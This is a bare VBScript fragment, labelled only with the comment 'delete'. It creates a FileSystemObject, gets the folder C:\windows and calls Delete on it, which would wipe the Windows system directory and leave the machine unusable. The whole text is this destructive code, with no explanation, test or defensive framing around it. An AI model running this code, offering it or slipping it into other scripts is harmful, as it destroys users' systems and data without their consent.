' delete Set fso = CreateObject("Scripting.FileSystemObject") Set aFolder = fso.GetFolder("C:\windows") aFolder.Delete